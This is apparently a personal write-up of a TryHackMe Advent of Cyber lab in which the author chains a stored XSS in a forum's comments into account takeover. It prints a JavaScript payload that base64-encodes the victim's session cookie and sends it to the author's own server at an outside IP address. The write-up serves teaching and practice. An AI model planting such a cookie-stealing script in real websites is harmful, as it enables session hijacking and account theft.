[Day 5] Web Exploitation Pesky Elf Forum TryHackMe Advent Of Cyber
The challenge starts of by us spawning a machine mine had the IP Address of 10.10.76.173. Yours might be different nothing to worry about but we have the credentials of one single user. The credentials are :
That’s okay. The challenge points us to the fact that the web application may be vulnerable to XSS. But normally when approaching a web application i would run tools like gobuster, ffuf, nikto etc but this time I’ll not use them.
On opening the web application we get a simple website that has some comments but
But we are asked to log in to post a comment on the web application. Luckily we have a credential that we know might give us authenticated access to the web application. So let’s try to log in
Visiting the login form we get a standard login page
Here we might test for vulnerabilities like
- SQL Injection
- NOSQL injection
- LDAP Injection
- XPATH Injection
- Default credentials
- perform a brute force attack (Which 99% of the time i really don’t recommend)
But I didn’t since we already have a credential to access uthenticated endpoints of the web application
On supplying those credentials we are allowed to access the application as an authenticated user
Going to settings we can see that we are allowed to change our passwords
But already am seeing an insecure design on the application it doesn’t ask for the old password. This might leave the application vulnerable in case an attacker gets a session that is already authenticated. They can change a user’s password without having the knowledge of their old password.
About a week ago i was performing a penetration testing on a loan application used by many banks world wide and found an account takeover since there was no proper validation of a user logged in and the old password when a user is asked to change their password. But since it a zero day i can’t do a writeup until a patch has been issues and the vendor agrees for vulnerability disclosure. But It’s good to check the old password before changing a user’s password. The second vulnerability is called cross site request forgery. The authenticity of the request cannot be determined since the change password field lack a cross site request forgery token
But enough of that. If we go to the comments now we can post comments on the web application. Which is nice
Looking at the dates we see Grinch comments after we comments meaning the comment section has some user interaction (in our case simulated by using a script with probably a cron job)
That’s good to know and whenever we see user interaction the first thing that i normally test is for XSS or cross site scripting. I start with the simple payloads like alert before creating more complex payload. The alert will just act as a proof of concept to show that the site is vulnerable.
Then sent the comment
And looking at the screenshot below it works the site is vulnerable to cross site scripting
Sweet. XSS might be a dangerous vulnerability if properly exploited in our case if conditions are favorable we may even get an account takeover as you will see
First what i do is check to see how my cookies are stored using the developers tools. This will determine how i will perform my attack
Looking at the screenshot above we an notice that HTTPOnly flag has been set to false meaning we can steal the token of any user logged in on the application and send it to a server that we control through a GET parameter. If the flags were true this attack wouldn’t be possible.
Hence i created a simple payload script that would automatically capture the session cookie of an authenticated user convert it to base64 and then send that cookie to a python HTTP server that i control.
var url = "http://10.8.2.58:8000/";
var req = new XMLHttpRequest();
req.open('GET', url +'/musyoka?cookie=' + btoa(document.cookie), true);
req.withCredentials = true;
Next i started a Python HTTP server and posted the payload as the comment
After a few seconds we get two different base64 encoded cookie
The first cookie it ours since it was retrieved after i posted the comment and the second probably it’s not our. So i base64 decoded the cookie
Added the cookie to my browser and refreshed the webpage
Going back to the setting page and click disable we get the flag for the challenge
What we’ve seeing happening is chaining a XSS vulnerability to get an account takeover. That’s why XSS if chained properly can be a critical vulnerability on an application. I know TryHackMe shows a different way of doing the challenge which you can also do. But that’s it for now till next time it’s good bye